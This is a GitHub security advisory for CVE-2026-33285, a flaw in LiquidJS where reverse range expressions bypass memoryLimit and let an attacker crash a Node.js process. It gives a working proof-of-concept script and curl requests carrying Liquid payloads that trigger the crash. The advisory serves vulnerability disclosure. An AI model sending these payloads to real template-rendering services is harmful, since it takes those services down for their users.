GitHub Advisoryadvisory · npm

GHSA-9r5m-9576-7f6x LiquidJS: memoryLimit Bypass through Negative Range Values Leads to Process Crash

HIGH Published 2026-03-25 Modified 2026-03-30 Official page ↗
Aliases
CVE-2026-33285
Ecosystem
npm
Packages
liquidjs
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-20, CWE-400
Reviewed
2026-03-25

Affected packages

• npm liquidjs: <= 10.24.0 (no fix yet)

Description

Summary LiquidJS's `memoryLimit` security mechanism can be completely bypassed by using reverse range expressions (e.g., `(100000000..1)`), allowing an attacker to allocate unlimited memory. Combined with a string flattening operation (e.g., `replace` filter), this causes a V8 Fatal error that crashes the Node.js process, resulting in complete denial of service from a single HTTP request. Details When LiquidJS evaluates a range token `(low..high)`, it calls `ctx.memoryLimit.use(high - low + 1)` in `src/render/expression.ts:70` to account for memory usage. However, for reverse ranges where `low > high` (e.g., `(100000000..1)`), this computation yields a negative value (`1 - 100000000 + 1 = -99999998`). The `Limiter.use()` method in `src/util/limiter.ts:11-14` does not validate that the `count` parameter is non-negative. It simply adds `count` to `this.base`, causing the internal counter to go negative. Once the counter is sufficiently negative, subsequent legitimate memory allocations that would normally exceed the configured `memoryLimit` pass the `base + count { const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit // Step 1 — Baseline: memoryLimit blocks large allocation console.log('=== Step 1: Baseline (should fail) ==='); try { const baseline = "{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}"; const result = await engine.parseAndRender(baseline); console.log('Result:', result); // Should not reach here } catch (e) { console.log('Blocked:', e.message); // "memory alloc limit exceeded" } // Step 2 — Bypass: reverse ranges drive counter negative console.log('\n=== Step 2: Bypass (should succeed) ==='); try { const bypass = "{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}"; const result = await engine.parseAndRender(bypass); console.log('Result:', result); // "134217728" — 134MB allocated despite 100MB limit } catch (e) { console.log('Error:', e.message); } // Step 3 — Process crash: cons-string flattening via replace console.log('\n=== Step 3: Process crash (node process will terminate) ==='); console.log('If the process exits here with code 133/SIGTRAP, the crash is confirmed.'); try { const crash = [ ...Array(5).fill('{% for x in (100000000..1) %}{% endfor %}'), "{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}", "{% assign flat = s | replace: 'A', 'B' %}{{ flat | size }}" ].join(''); const result = await engine.parseAndRender(crash); console.log('Result:', result); // Should not reach here } catch (e) { console.log('Caught error:', e.message); // V8 Fatal error is NOT catchable } })(); ``` Expected output: ``` === Step 1: Baseline (should fail) === Blocked: memory alloc limit exceeded, line:1, col:43 === Step 2: Bypass (should succeed) === Result: 134217728 === Step 3: Process crash (node process will terminate) === If the process exits here with code 133/SIGTRAP, the crash is confirmed. Fatal error in , line 0 Fatal JavaScript invalid size error 134217729 ``` The process terminates at Step 3 with exit code 133 (SIGTRAP). The V8 Fatal error occurs at the C++ level and cannot be caught by `try-catch`, `process.on('uncaughtException')`, or any JavaScript error handler. HTTP Reproduction (for applications that accept user templates) If the application exposes an endpoint that renders user-supplied Liquid templates with `memoryLimit` configured (e.g., CMS preview, newsletter editor, etc.): ```bash Step 1 — Baseline: should return "memory alloc limit exceeded" curl -s -X POST http:///render \ -H "Content-Type: application/json" \ -d '{"template": "{% assign s = '\''A'\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}"}' Step 2 — Bypass: should return "134217728" (134MB allocated despite 100MB limit) curl -s -X POST http:///render \ -H "Content-Type: application/json" \ -d '{"template": "{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = '\''A'\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}"}' Step 3 — Process crash: connection drops, server process terminates curl -s -X POST http:///render \ -H "Content-Type: application/json" \ -d '{"template": "{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = '\''A'\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{% assign flat = s | replace: '\''A'\'', '\''B'\'' %}{{ flat | size }}"}' ``` Replace `http:///render` with the actual template rendering endpoint. The payload is pure Liquid syntax and works regardless of the HTTP framework or endpoint structure. Impact An attacker who can control template content (common in CMS, email template editors, and SaaS platforms using LiquidJS) can bypass the `memoryLimit` protection entirely and crash the Node.js process: • Complete bypass of the `memoryLimit` security mechanism: The explicitly configured memory limit becomes ineffective. • Process crash from a single HTTP request: V8 Fatal error terminates the entire Node.js process, not just the attacking request. This is not a catchable JavaScript exception. • Service-wide denial of service: All in-flight requests are terminated. Manual restart or container restart policy is required to recover. • **False sense of sec…

Related

Alias · CVE (1)

  • CVE-2026-33285 LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. vulnerability

Weakness · CWE (2)

  • CWE-20 Improper Input Validation weakness
  • CWE-400 Uncontrolled Resource Consumption weakness

References